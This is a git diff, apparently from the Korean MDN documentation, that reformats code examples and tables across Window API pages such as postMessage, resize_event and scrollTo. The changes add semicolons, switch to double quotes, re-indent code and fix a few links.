+++ b/files/ko/web/api/window/matchmedia/index.md
@@ -2,6 +2,7 @@
 title: Window.matchMedia()
 slug: Web/API/Window/matchMedia
 ---
+
 {{APIRef}}
 
 **`Window.matchMedia()`** 메서드는 주어진 [미디어 쿼리](/ko/docs/Web/Guide/CSS/Media_queries) 문자열의 분석 결과를 나타내는 {{domxref("MediaQueryList")}} 객체를 반환합니다.
@@ -9,7 +10,7 @@ slug: Web/API/Window/matchMedia
 ## 구문
 
 ```js
-window.matchMedia(mediaQueryString)
+window.matchMedia(mediaQueryString);
 ```
 
 ### 매개변수
diff --git a/files/ko/web/api/window/navigator/index.md b/files/ko/web/api/window/navigator/index.md
index e7009d5e756971..0b14fef715dcec 100644
--- a/files/ko/web/api/window/navigator/index.md
+++ b/files/ko/web/api/window/navigator/index.md
@@ -2,6 +2,7 @@
 title: Window.navigator
 slug: Web/API/Window/navigator
 ---
+
 {{APIRef}}
 
 **`Window.navigator`** 읽기 전용 속성은 스크립트를 구동 중인 애플리케이션에 대한 메서드와 속성을 가진 {{domxref("Navigator")}} 객체의 참조를 반환합니다.
@@ -9,7 +10,7 @@ slug: Web/API/Window/navigator
 ## 구문
 
 ```js
-const navigatorObject = window.navigator
+const navigatorObject = window.navigator;
 ```
 
 ## 명세
diff --git a/files/ko/web/api/window/opener/index.md b/files/ko/web/api/window/opener/index.md
index d8af98f8c2619a..b494e563d1f137 100644
--- a/files/ko/web/api/window/opener/index.md
+++ b/files/ko/web/api/window/opener/index.md
@@ -12,7 +12,7 @@ slug: Web/API/Window/opener
 ## 구문
 
 ```js
-const openerWindow = window.opener
+const openerWindow = window.opener;
 ```
 
 ### 값
diff --git a/files/ko/web/api/window/orientationchange_event/index.md b/files/ko/web/api/window/orientationchange_event/index.md
index cf09c47898aedd..13002d9fa67d42 100644
--- a/files/ko/web/api/window/orientationchange_event/index.md
+++ b/files/ko/web/api/window/orientationchange_event/index.md
@@ -22,19 +22,19 @@ slug: Web/API/Window/orientationchange_event
 
 ## Properties
 
-| Property                              | Type                                 | Description                                            |
-| ------------------------------------- | ------------------------------------ | ------------------------------------------------------ |
+| Property                        | Type                       | Description                                            |
+| ------------------------------- | -------------------------- | ------------------------------------------------------ |
 | `target` {{readonlyInline}}     | {{domxref("EventTarget")}} | The event target (the topmost target in the DOM tree). |
-| `type` {{readonlyInline}}       | {{domxref("DOMString")}}     | The type of event.                                     |
-| `bubbles` {{readonlyInline}}    | {{jsxref("Boolean")}}         | Whether the event normally bubbles or not.             |
-| `cancelable` {{readonlyInline}} | {{jsxref("Boolean")}}         | Whether the event is cancellable or not.               |
+| `type` {{readonlyInline}}       | {{domxref("DOMString")}}   | The type of event.                                     |
+| `bubbles` {{readonlyInline}}    | {{jsxref("Boolean")}}      | Whether the event normally bubbles or not.             |
+| `cancelable` {{readonlyInline}} | {{jsxref("Boolean")}}      | Whether the event is cancellable or not.               |
 
 ## Example
 
 ```js
 // Note that "orientationchange" and screen.orientation are unprefixed in the following
 // code although this API is still vendor-prefixed browsers implementing it.
-screen.addEventListener("orientationchange", function() {
-    alert("the orientation of the device is now " + screen.orientation);
+screen.addEventListener("orientationchange", function () {
+  alert("the orientation of the device is now " + screen.orientation);
 });
 ```
diff --git a/files/ko/web/api/window/outerwidth/index.md b/files/ko/web/api/window/outerwidth/index.md
index 6293e1224d61ad..0f1db5a0de886b 100644
--- a/files/ko/web/api/window/outerwidth/index.md
+++ b/files/ko/web/api/window/outerwidth/index.md
@@ -2,6 +2,7 @@
 title: Window.outerWidth
 slug: Web/API/Window/outerWidth
 ---
+
 {{APIRef}}
 
 ## 요약
diff --git a/files/ko/web/api/window/pageyoffset/index.md b/files/ko/web/api/window/pageyoffset/index.md
index ea2d6a6b114b6f..0dd846d65fc610 100644
--- a/files/ko/web/api/window/pageyoffset/index.md
+++ b/files/ko/web/api/window/pageyoffset/index.md
@@ -70,8 +70,7 @@ condimentum sapien non felis cursus blandit. Integer
 euismod lectus a ipsum pellentesque lacinia.</p>
 `;
 
-document.getElementById("frame").contentDocument
-        .body.innerHTML = contentHTML;
+document.getElementById("frame").contentDocument.body.innerHTML = contentHTML;
 ```
 
 In this example, an {{HTMLElement("iframe")}} is created and filled with content, then a specific element within the document is scrolled into view in the frame. Once that's done, the vertical scroll position is checked by looking at the value of `pageYOffset` in the frame's {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}}.
@@ -81,11 +80,9 @@ In this example, an {{HTMLElement("iframe")}} is created and filled with content
 HTML은 단 두 개의 요소를 가진 짧은 코드입니다. 하나는 스크롤할 문서를 담은 {{HTMLElement("iframe")}}이고, 다른 하나는 스크롤을 끝냈을 때 `pageYOffset`의 값을 기록할 {{HTMLElement("div")}}입니다.
 
 ```html
-<iframe id="frame">
-</iframe>
+<iframe id="frame"> </iframe>
 
-<div id="info">
-</div>
+<div id="info"></div>
 ```
 
 ### JavaScript
@@ -98,8 +95,8 @@ var info = document.getElementById("info");
 var target = frameDoc.getElementById("overview");
 frameDoc.scrollingElement.scrollTop = target.offsetTop;
 
-info.innerText = "스크롤 후 Y축 차이: " +
-                 frame.contentWindow.pageYOffset + " 픽셀";
+info.innerText =
+  "스크롤 후 Y축 차이: " + frame.contentWindow.pageYOffset + " 픽셀";
 ```
 
 The JavaScript code begins by getting into `frame` and `info` the `<iframe>` element that contains our content as well as the `<div>` element into which we'll output the result of our scroll position check. It then gets a reference to the element we want to scroll into view calling {{domxref("Document.getElementById", "getElementById()")}} on the frame's {{domxref("HTMLIFrameElement.contentDocument")}}.
@@ -117,7 +114,10 @@ iframe {
 
 #info {
   margin-top: 20px;
-  font: 16px "Open Sans", "Helvetica", "Arial";
+  font:
+    16px "Open Sans",
+    "Helvetica",
+    "Arial";
 }
 ```
 
diff --git a/files/ko/web/api/window/paste_event/index.md b/files/ko/web/api/window/paste_event/index.md
index c3b169ecb91e82..bdb1135e9392e5 100644
--- a/files/ko/web/api/window/paste_event/index.md
+++ b/files/ko/web/api/window/paste_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Window: paste 이벤트'
+title: "Window: paste 이벤트"
 slug: Web/API/Window/paste_event
 ---
 
@@ -33,8 +33,8 @@ slug: Web/API/Window/paste_event
 ## 예제
 
 ```js
-window.addEventListener('paste', (event) => {
-    console.log('붙여넣기 동작 실행')
+window.addEventListener("paste", (event) => {
+  console.log("붙여넣기 동작 실행");
 });
 ```
 
diff --git a/files/ko/web/api/window/popstate_event/index.md b/files/ko/web/api/window/popstate_event/index.md
index 111b137ca48eb5..ff5633faf9b600 100644
--- a/files/ko/web/api/window/popstate_event/index.md
+++ b/files/ko/web/api/window/popstate_event/index.md
@@ -11,10 +11,10 @@ history.pushState() 또는 history.replaceState()는 popstate 이벤트를 발
 
 브라우저는 popstate 이벤트를 페이지 로딩시에 다르게 처리합니다. Chrome(v34 이전버전) 와 Safari는 popstate 이벤트를 페이지 로딩시에 발생시킵니다. 하지만 Firefox 는 그렇지 않습니다.
 
-| Bubbles                | Yes                                                                              |
-| ---------------------- | -------------------------------------------------------------------------------- |
-| Cancelable             | No                                                                               |
-| Interface              | {{domxref("PopStateEvent")}}                                             |
+| Bubbles                | Yes                                                         |
+| ---------------------- | ----------------------------------------------------------- |
+| Cancelable             | No                                                          |
+| Interface              | {{domxref("PopStateEvent")}}                                |
 | Event handler property | {{domxref("WindowEventHandlers.onpopstate", "onpopstate")}} |
 
 ## 브라우저 호환성
@@ -26,15 +26,20 @@ history.pushState() 또는 history.replaceState()는 popstate 이벤트를 발
 예시를 보자, 다음의 코드를 실행하는 `http://example.com/example.html` 의 한 페이지는 주석에 쓰여있는 경고들을 발생시킨다.
 
 ```js
-window.onpopstate = function(event) {
-  console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+window.onpopstate = function (event) {
+  console.log(
+    "location: " +
+      document.location +
+      ", state: " +
+      JSON.stringify(event.state),
+  );
 };
-history.pushState({page: 1}, "title 1", "?page=1");
-history.pushState({page: 2}, "title 2", "?page=2");
-history.replaceState({page: 3}, "title 3", "?page=3");
+history.pushState({ page: 1 }, "title 1", "?page=1");
+history.pushState({ page: 2 }, "title 2", "?page=2");
+history.replaceState({ page: 3 }, "title 3", "?page=3");
 history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
 history.back(); // Logs "location: http://example.com/example.html, state: null
-history.go(2);  // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+history.go(2); // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
 ```
 
 원래의 히스토리 엔트리인 (`http://example.com/example.html`) 에 이와 연관된 state 객체가 없더라도, 두번째 history.back() API 호출 후 엔트리를 활성화 시키면 popstate 이벤트는 여전히 발생된다.
diff --git a/files/ko/web/api/window/postmessage/index.md b/files/ko/web/api/window/postmessage/index.md
index a3dd68f07ea8a2..1e70175a647eb7 100644
--- a/files/ko/web/api/window/postmessage/index.md
+++ b/files/ko/web/api/window/postmessage/index.md
@@ -37,10 +37,8 @@ targetWindow.postMessage(message, targetOrigin, [transfer]);
 ```js
 window.addEventListener("message", receiveMessage, false);
 
-function receiveMessage(event)
-{
-  if (event.origin !== "http://example.org:8080")
-    return;
+function receiveMessage(event) {
+  if (event.origin !== "http://example.org:8080") return;
 
   // ...
 }
@@ -54,7 +52,7 @@ function receiveMessage(event)
   - : `postMessage` 가 호출될 때 메시지를 보내는 윈도우의 [origin](/ko/docs/Origin).
     이 문자열은 프로토콜과 "://", 호스트 명(존재할 경우), 그리고 ":"의 뒤에 이어 지는 포트 번호가 연결된 것입니다. (포트 번호는 포트 번호가 명기되었거나 주어진 프로토콜의 디폴트 포트와 다를 경우). 전형적인 origin의 예로 `https://example.org` (이 경우 port `443`), `http://example.net` (이 경우 port `80`), and `http://example.com:8080` 가 있습니다. 이 origin은 `postMessage` 호출 이후 다른 위치로 이동되었을 수 있는 해당 윈도우의 현재 또는 미래의 origin 이 보장되지 *않는다*는 점에 주의하세요.
 - `source`
-  - : 메시지를 보낸 [`window`](/en-US/docs/DOM/window) 오브젝트에 대한 참조.
+  - : 메시지를 보낸 [`window`](/ko/docs/DOM/window) 오브젝트에 대한 참조.
     이것을 사용함으로 다른 orign에 있는 두 개의 윈도우에서 쌍방향 통신을 확립할 수 있습니다.
 
 ## 보안 문제(Security concerns)
@@ -103,11 +101,9 @@ window.addEventListener("message", receiveMessage, false);
  */
 
 // Called sometime after postMessage is called
-function receiveMessage(event)
-{
+function receiveMessage(event) {
   // Do we trust the sender of this message?
-  if (event.origin !== "http://example.com:8080")
-    return;
+  if (event.origin !== "http://example.com:8080") return;
 
   // event.source is window.opener
   // event.data is "hello there!"
@@ -116,9 +112,10 @@ function receiveMessage(event)
   // you must do in any case), a convenient idiom for replying to a
   // message is to call postMessage on event.source and provide
   // event.origin as the targetOrigin.
-  event.source.postMessage("hi there yourself!  the secret response " +
-                           "is: rheeeeet!",
-                           event.origin);
+  event.source.postMessage(
+    "hi there yourself!  the secret response " + "is: rheeeeet!",
+    event.origin,
+  );
 }
 
 window.addEventListener("message", receiveMessage, false);
diff --git a/files/ko/web/api/window/requestanimationframe/index.md b/files/ko/web/api/window/requestanimationframe/index.md
index 6ed7679be4a982..4da21978ba69dd 100644
--- a/files/ko/web/api/window/requestanimationframe/index.md
+++ b/files/ko/web/api/window/requestanimationframe/index.md
@@ -21,7 +21,7 @@ l10n:
 ## 구문
 
 ```js
-requestAnimationFrame(callback)
+requestAnimationFrame(callback);
 ```
 
 ### 파라미터
diff --git a/files/ko/web/api/window/requestidlecallback/index.md b/files/ko/web/api/window/requestidlecallback/index.md
index 2a88544e7ada58..02eb60913a4bd0 100644
--- a/files/ko/web/api/window/requestidlecallback/index.md
+++ b/files/ko/web/api/window/requestidlecallback/index.md
@@ -2,6 +2,7 @@
 title: window.requestIdleCallback()
 slug: Web/API/Window/requestIdleCallback
 ---
+
 {{APIRef("HTML DOM")}}{{SeeCompatTable}}
 
 **`window.requestIdleCallback()`** 메서드는 브라우저의 idle 상태에 호출될 함수를 대기열에 넣습니다. 이를 통해 개발자는 애니메이션 및 입력 응답과 같은 대기 시간이 중요한 이벤트에 영향을 미치지 않고 메인 이벤트 루프에서 백그라운드 및 우선 순위가 낮은 작업을 수행 할 수 있습니다. 함수는 일반적으로 first-in-first-out(FIFO) 순서로 호출됩니다. 하지만, `timeout` 옵션이 지정된 callback은 제한 시간이 지나기 전에 이들을 실행하기 위해 순서에 맞지 않게 호출될 수 있습니다.
diff --git a/files/ko/web/api/window/resize_event/index.md b/files/ko/web/api/window/resize_event/index.md
index 5b26fea6eb40c2..1dc6ff3777927f 100644
--- a/files/ko/web/api/window/resize_event/index.md
+++ b/files/ko/web/api/window/resize_event/index.md
@@ -2,6 +2,7 @@
 title: resize
 slug: Web/API/Window/resize_event
 ---
+
 **`resize`** 이벤트는 document view의 크기가 변경될 때 발생합니다.
 
 `window.onresize` 속성(어트리뷰트)을 사용하거나,`window.addEventListener('resize', ...)`를 사용하여, 이벤트 핸들러에 `resize` 이벤트를 등록할 수 있습니다.
@@ -27,14 +28,14 @@ slug: Web/API/Window/resize_event
 
 ## Properties
 
-| Property                              | Type                                                                                                                                                         | Description                                                                                                                                                                                               |
-| ------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| `target` {{readonlyInline}}     | [`EventTarget`](/ko/docs/Web/API/EventTarget)  | 이벤트 타겟(DOM 트리의 최상위 타겟).                                                                                                                                                                      |
-| `type` {{readonlyInline}}       | [`DOMString`](/ko/docs/Web/API/DOMString) | 이벤트의 타입.                                                                                                                                                                                            |
-| `bubbles` {{readonlyInline}}    | [`Boolean`](/ko/docs/Web/API/Boolean)                                                         | 이벤트가 정상적으로 버블이 발생하는지 여부.                                                                                                                                                               |
-| `cancelable` {{readonlyInline}} | [`Boolean`](/ko/docs/Web/API/Boolean)                                                         | 이벤트 취소 가능 여부.                                                                                                                                                                                    |
-| `view` {{readonlyInline}}       | [`WindowProxy`](/ko/docs/Web/API/WindowProxy)                         | [`document.defaultView`](/ko/docs/Web/API/Document/defaultView) (문서의 `window`) |
-| `detail` {{readonlyInline}}     | `long` (`float`)                                                                                                                                             | 0.                                                                                                                                                                                                        |
+| Property                        | Type                                          | Description                                                                       |
+| ------------------------------- | --------------------------------------------- | --------------------------------------------------------------------------------- |
+| `target` {{readonlyInline}}     | [`EventTarget`](/ko/docs/Web/API/EventTarget) | 이벤트 타겟(DOM 트리의 최상위 타겟).                                              |
+| `type` {{readonlyInline}}       | [`DOMString`](/ko/docs/Web/API/DOMString)     | 이벤트의 타입.                                                                    |
+| `bubbles` {{readonlyInline}}    | [`Boolean`](/ko/docs/Web/API/Boolean)         | 이벤트가 정상적으로 버블이 발생하는지 여부.                                       |
+| `cancelable` {{readonlyInline}} | [`Boolean`](/ko/docs/Web/API/Boolean)         | 이벤트 취소 가능 여부.                                                            |
+| `view` {{readonlyInline}}       | [`WindowProxy`](/ko/docs/Web/API/WindowProxy) | [`document.defaultView`](/ko/docs/Web/API/Document/defaultView) (문서의 `window`) |
+| `detail` {{readonlyInline}}     | `long` (`float`)                              | 0.                                                                                |
 
 ## Examples
 
@@ -45,87 +46,83 @@ slug: Web/API/Window/resize_event
 ### requestAnimationFrame + customEvent
 
 ```js
-(function() {
-    var throttle = function(type, name, obj) {
-        obj = obj || window;
-        var running = false;
-        var func = function() {
-            if (running) { return; }
-            running = true;
-             requestAnimationFrame(function() {
-                obj.dispatchEvent(new CustomEvent(name));
-                running = false;
-            });
-        };
-        obj.addEventListener(type, func);
+(function () {
+  var throttle = function (type, name, obj) {
+    obj = obj || window;
+    var running = false;
+    var func = function () {
+      if (running) {
+        return;
+      }
+      running = true;
+      requestAnimationFrame(function () {
+        obj.dispatchEvent(new CustomEvent(name));
+        running = false;
+      });
     };
+    obj.addEventListener(type, func);
+  };
 
-    /* init - you can init any event */
-    throttle("resize", "optimizedResize");
+  /* init - you can init any event */
+  throttle("resize", "optimizedResize");
 })();
 
 // handle event
-window.addEventListener("optimizedResize", function() {
-    console.log("Resource conscious resize callback!");
+window.addEventListener("optimizedResize", function () {
+  console.log("Resource conscious resize callback!");
 });
 ```
 
 ### requestAnimationFrame
 
 ```js
-var optimizedResize = (function() {
-
-    var callbacks = [],
-        running = false;
-
-    // fired on resize event
-    function resize() {
-
-        if (!running) {
-            running = true;
-
-            if (window.requestAnimationFrame) {
-                window.requestAnimationFrame(runCallbacks);
-            } else {
-                setTimeout(runCallbacks, 66);
-            }
-        }
-
-    }
-
-    // run the actual callbacks
-    function runCallbacks() {
-
-        callbacks.forEach(function(callback) {
-            callback();
-        });
-
-        running = false;
+var optimizedResize = (function () {
+  var callbacks = [],
+    running = false;
+
+  // fired on resize event
+  function resize() {
+    if (!running) {
+      running = true;
+
+      if (window.requestAnimationFrame) {
+        window.requestAnimationFrame(runCallbacks);
+      } else {
+        setTimeout(runCallbacks, 66);
+      }
     }
+  }
 
-    // adds callback to loop
-    function addCallback(callback) {
+  // run the actual callbacks
+  function runCallbacks() {
+    callbacks.forEach(function (callback) {
+      callback();
+    });
 
-        if (callback) {
-            callbacks.push(callback);
-        }
+    running = false;
+  }
 
+  // adds callback to loop
+  function addCallback(callback) {
+    if (callback) {
+      callbacks.push(callback);
     }
+  }
 
-    return {
-        // public method to add additional callback
-        add: function(callback) {
-            if (!callbacks.length) {
-                window.addEventListener('resize', resize);
-            }
-            addCallback(callback);
-        }
-    }
-}());
+  return {
+    // public method to add additional callback
+    add: function (callback) {
+      if (!callbacks.length) {
+        window.addEventListener("resize", resize);
+      }
+      addCallback(callback);
+    },
+  };
+})();
 
 // start process
-optimizedResize.add(function() {
-    console.log('Resource conscious resize callback!')
+optimizedResize.add(function () {
+  console.log("Resource conscious resize callback!");
 });
 ```
 
diff --git a/files/ko/web/api/window/resizeto/index.md b/files/ko/web/api/window/resizeto/index.md
index abf73f838cffda..1ea721e975e870 100644
--- a/files/ko/web/api/window/resizeto/index.md
+++ b/files/ko/web/api/window/resizeto/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Window/resizeTo
 ## 구문
 
 ```js
-window.resizeTo(width, height)
+window.resizeTo(width, height);
 ```
 
 ### 매개변수
@@ -26,10 +26,7 @@ window.resizeTo(width, height)
 
 ```js
 function quarter() {
-  window.resizeTo(
-    window.screen.availWidth / 2,
-    window.screen.availHeight / 2
-  );
+  window.resizeTo(window.screen.availWidth / 2, window.screen.availHeight / 2);
 }
 ```
 
diff --git a/files/ko/web/api/window/scroll/index.md b/files/ko/web/api/window/scroll/index.md
index e4ce9864940f46..93e01c9633f23b 100644
--- a/files/ko/web/api/window/scroll/index.md
+++ b/files/ko/web/api/window/scroll/index.md
@@ -29,7 +29,7 @@ scroll(options)
       - : 창이나 요소를 스크롤할 X축의 픽셀의 수를 지정합니다.
     - `behavior`
       - : 요소를 위치로 스크롤하는 브라우저는 다음 스크롤 동작 중 하나를 가질 수 있습니다.
-        - `auto` (기본): 스크롤 동작은 스크롤 요소에 의해 설정되거나 상속된 [`scroll-behavior`](/en-US/docs/Web/CSS/scroll-behavior) CSS 스타일에 의해 제어됩니다.
+        - `auto` (기본): 스크롤 동작은 스크롤 요소에 의해 설정되거나 상속된 [`scroll-behavior`](/ko/docs/Web/CSS/scroll-behavior) CSS 스타일에 의해 제어됩니다.
         - `smooth`: 스크롤이 부드럽게 작동합니다.
 
 ### 반환 값
@@ -50,7 +50,7 @@ scroll(options)
 window.scroll({
   top: 100,
   left: 100,
-  behavior: 'smooth'
+  behavior: "smooth",
 });
 ```
 
diff --git a/files/ko/web/api/window/scrollby/index.md b/files/ko/web/api/window/scrollby/index.md
index b25f671bd517fe..c58388fe1e48ef 100644
--- a/files/ko/web/api/window/scrollby/index.md
+++ b/files/ko/web/api/window/scrollby/index.md
@@ -54,7 +54,7 @@ window.scrollBy(0, -window.innerHeight);
 window.scrollBy({
   top: 100,
   left: 100,
-  behavior: 'smooth'
+  behavior: "smooth",
 });
 ```
 
diff --git a/files/ko/web/api/window/scrollto/index.md b/files/ko/web/api/window/scrollto/index.md
index 31185d2dd07f9c..ba9033f84661cd 100644
--- a/files/ko/web/api/window/scrollto/index.md
+++ b/files/ko/web/api/window/scrollto/index.md
@@ -12,13 +12,13 @@ slug: Web/API/Window/scrollTo
 ## 구문
 
 ```js
-window.scrollTo(x-좌표, y-좌표)
+window.scrollTo(x_좌표, y_좌표);
 ```
 
 ### 매개변수
 
-- `x-좌표`는 문서의 왼쪽 상단부터 시작하는 픽셀 단위의 가로축입니다.
-- `y-좌표`는 문서의 왼쪽 상단부터 시작하는 픽셀 단위의 세로축입니다.
+- `x_좌표`는 문서의 왼쪽 상단부터 시작하는 픽셀 단위의 가로축입니다.
+- `y_좌표`는 문서의 왼쪽 상단부터 시작하는 픽셀 단위의 세로축입니다.
 
 \- 또는 -
 
@@ -41,7 +41,7 @@ window.scrollTo(x-좌표, y-좌표)
 ## 예제
 
 ```js
-window.scrollTo( 0, 1000 );
+window.scrollTo(0, 1000);
 ```
 
 ## 참고
diff --git a/files/ko/web/api/window/scrollx/index.md b/files/ko/web/api/window/scrollx/index.md
index 797b08db70c0ad..759df46f8dc401 100644
--- a/files/ko/web/api/window/scrollx/index.md
+++ b/files/ko/web/api/window/scrollx/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Window/scrollX
 ## 구문
 
 ```js
-var x = window.scrollX
+var x = window.scrollX;
 ```
 
 ### 값
@@ -27,7 +27,7 @@ var x = window.scrollX
 
 ```js
 if (window.scrollX > 400) {
-  window.scroll(0,0);
+  window.scroll(0, 0);
 }
 ```
 
@@ -43,10 +43,18 @@ window.pageXOffset === window.scrollX; // 항상 true
 
 ```js
 var supportPageOffset = window.pageXOffset !== undefined;
-var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
-
-var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
-var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+var isCSS1Compat = (document.compatMode || "") === "CSS1Compat";
+
+var x = supportPageOffset
+  ? window.pageXOffset
+  : isCSS1Compat
+  ? document.documentElement.scrollLeft
+  : document.body.scrollLeft;
+var y = supportPageOffset
+  ? window.pageYOffset
+  : isCSS1Compat
+  ? document.documentElement.scrollTop
+  : document.body.scrollTop;
 ```
 
 ## 명세
diff --git a/files/ko/web/api/window/scrolly/index.md b/files/ko/web/api/window/scrolly/index.md
index 1bc4001a0d643c..9ab4c73f1dc9d2 100644
--- a/files/ko/web/api/window/scrolly/index.md
+++ b/files/ko/web/api/window/scrolly/index.md
@@ -10,7 +10,7 @@ slug: Web/API/Window/scrollY
 ## 구문
 
 ```js
-var y = window.scrollY
+var y = window.scrollY;
 ```
 
 ### 값
@@ -26,7 +26,7 @@ var y = window.scrollY
 ```js
 // make sure and go down to the second page
 if (window.scrollY) {
-  window.scroll(0, 0);  // reset the scroll position to the top left of the document.
+  window.scroll(0, 0); // reset the scroll position to the top left of the document.
 }
 
 window.scrollByPages(1);
@@ -46,10 +46,18 @@ window.pageYOffset === window.scrollY; // 항상 true
 
 ```js
 var supportPageOffset = window.pageXOffset !== undefined;
-var isCSS1Compat = ((document.compatMode || "") === "CSS1Compat");
-
-var x = supportPageOffset ? window.pageXOffset : isCSS1Compat ? document.documentElement.scrollLeft : document.body.scrollLeft;
-var y = supportPageOffset ? window.pageYOffset : isCSS1Compat ? document.documentElement.scrollTop : document.body.scrollTop;
+var isCSS1Compat = (document.compatMode || "") === "CSS1Compat";
+
+var x = supportPageOffset
+  ? window.pageXOffset
+  : isCSS1Compat
+  ? document.documentElement.scrollLeft
+  : document.body.scrollLeft;
+var y = supportPageOffset
+  ? window.pageYOffset
+  : isCSS1Compat
+  ? document.documentElement.scrollTop
+  : document.body.scrollTop;
 ```
 
 ## 명세
diff --git a/files/ko/web/api/window/self/index.md b/files/ko/web/api/window/self/index.md
index 30aeb7eab9b0e6..e4782f4e39118a 100644
--- a/files/ko/web/api/window/self/index.md
+++ b/files/ko/web/api/window/self/index.md
@@ -13,7 +13,7 @@ slug: Web/API/Window/self
 
 ```js
 if (window.parent.frames[0] != window.self) {
-    // this window is not the first frame in the list
+  // this window is not the first frame in the list
 }
 ```
 
diff --git a/files/ko/web/api/window/sessionstorage/index.md b/files/ko/web/api/window/sessionstorage/index.md
index fcc15c73f75d2e..613e743cc48030 100644
--- a/files/ko/web/api/window/sessionstorage/index.md
+++ b/files/ko/web/api/window/sessionstorage/index.md
@@ -36,7 +36,7 @@ myStorage = window.sessionStorage;
 아래 코드는 현재 출처의 세션 {{domxref("Storage")}} 객체에 접근한 후, {{domxref("Storage.setItem()")}}을 사용해 항목 하나를 추가합니다.
 
 ```js
-sessionStorage.setItem('myCat', 'Tom');
+sessionStorage.setItem("myCat", "Tom");
 ```
 
 다음 예제는 텍스트 필드의 문장을 자동 저장하여 브라우저가 의도치 않게 재시작 되었을 경우 자동으로 텍스트 필드의 내용을 저장된 문장으로 복구하여 작성한 내용이 사라지지 않게 합니다.
@@ -53,7 +53,7 @@ if (sessionStorage.getItem("autosave")) {
 }
 
 // 텍스트 입력 칸의 변화 수신
-field.addEventListener("change", function() {
+field.addEventListener("change", function () {
   // 결과를 세션에 저장
   sessionStorage.setItem("autosave", field.value);
 });
diff --git a/files/ko/web/api/window/status/index.md b/files/ko/web/api/window/status/index.md
index d6bc9e789d4dbe..93befc64dd0135 100644
--- a/files/ko/web/api/window/status/index.md
+++ b/files/ko/web/api/window/status/index.md
@@ -2,6 +2,7 @@
 title: Window.status
 slug: Web/API/Window/status
 ---
+
 {{APIRef}}
 
 ## 요약
diff --git a/files/ko/web/api/window/stop/index.md b/files/ko/web/api/window/stop/index.md
index 36a65ba53ddeab..d711fac67244f9 100644
--- a/files/ko/web/api/window/stop/index.md
+++ b/files/ko/web/api/window/stop/index.md
@@ -12,7 +12,7 @@ Window\.stop()메서드는 window 객체의 로딩을 취소하는 메서드입
 ## 문법
 
 ```js
-window.stop()
+window.stop();
 ```
 
 ## 예시
diff --git a/files/ko/web/api/window/storage_event/index.md b/files/ko/web/api/window/storage_event/index.md
index 50d87b6d8f8996..7e182ef49ed925 100644
--- a/files/ko/web/api/window/storage_event/index.md
+++ b/files/ko/web/api/window/storage_event/index.md
@@ -25,10 +25,16 @@ window.onstorage = functionRef;
 다음 예제는 다른 문서에서 저장소 키를 바꿀 때마다 메시지를 기록합니다.
 
 ```js
-window.onstorage = function(e) {
-  console.log('The ' + e.key +
-    ' key has been changed from ' + e.oldValue +
-    ' to ' + e.newValue + '.');
+window.onstorage = function (e) {
+  console.log(
+    "The " +
+      e.key +
+      " key has been changed from " +
+      e.oldValue +
+      " to " +
+      e.newValue +
+      ".",
+  );
 };
 ```
 
diff --git a/files/ko/web/api/window/unload_event/index.md b/files/ko/web/api/window/unload_event/index.md
index 3ec3fe3b341bd3..a6b799accd3f37 100644
--- a/files/ko/web/api/window/unload_event/index.md
+++ b/files/ko/web/api/window/unload_event/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Window: unload 이벤트'
+title: "Window: unload 이벤트"
 slug: Web/API/Window/unload_event
 ---
 
@@ -7,10 +7,10 @@ slug: Web/API/Window/unload_event
 
 **`unload`** 이벤트는 문서나 하위 리소스가 언로딩 중일 때 발생합니다.
 
-| 확산               | 아니오                                                                   |
-| ------------------ | ------------------------------------------------------------------------ |
-| 취소 가능          | 아니오                                                                   |
-| 인터페이스         | {{domxref("Event")}}                                             |
+| 확산               | 아니오                                                  |
+| ------------------ | ------------------------------------------------------- |
+| 취소 가능          | 아니오                                                  |
+| 인터페이스         | {{domxref("Event")}}                                    |
 | 이벤트 처리기 속성 | {{domxref("WindowEventHandlers/onunload", "onunload")}} |
 
 `unload`는 다음 이벤트 이후 발생합니다.
@@ -30,16 +30,16 @@ slug: Web/API/Window/unload_event
 ## 예제
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
     <title>Parent Frame</title>
     <script>
-      window.addEventListener('beforeunload', function(event) {
-        console.log('I am the 1st one.');
+      window.addEventListener("beforeunload", function (event) {
+        console.log("I am the 1st one.");
       });
-      window.addEventListener('unload', function(event) {
-        console.log('I am the 3rd one.');
+      window.addEventListener("unload", function (event) {
+        console.log("I am the 3rd one.");
       });
     </script>
   </head>
@@ -52,21 +52,21 @@ slug: Web/API/Window/unload_event
 아래는 `child-frame.html`의 내용입니다.
 
 ```html
-<!DOCTYPE html>
+<!doctype html>
 <html>
   <head>
     <title>Child Frame</title>
     <script>
-      window.addEventListener('beforeunload', function(event) {
-        console.log('I am the 2nd one.');
+      window.addEventListener("beforeunload", function (event) {
+        console.log("I am the 2nd one.");
       });
-      window.addEventListener('unload', function(event) {
-        console.log('I am the 4th and last one…');
+      window.addEventListener("unload", function (event) {
+        console.log("I am the 4th and last one…");
       });
     </script>
   </head>
   <body>
-      ☻
+    ☻
   </body>
 </html>
 ```
diff --git a/files/ko/web/api/window/window/index.md b/files/ko/web/api/window/window/index.md
index 9ce6f50817e3d6..3f73f3f47cd20b 100644
--- a/files/ko/web/api/window/window/index.md
+++ b/files/ko/web/api/window/window/index.md
@@ -2,6 +2,7 @@
 title: Window.window
 slug: Web/API/Window/window
 ---
+
 {{APIRef}}
 
 ## 요약
@@ -19,17 +20,17 @@ window.window.window.window
 
 1. 스크립트의 전역 변수는 사실 window 객체의 프로퍼티이다.
 
-    ```js
-    var global = {data: 0};
-    alert(global === window.global); // true를 반환한다.
-    ```
+   ```js
+   var global = { data: 0 };
+   alert(global === window.global); // true를 반환한다.
+   ```
 
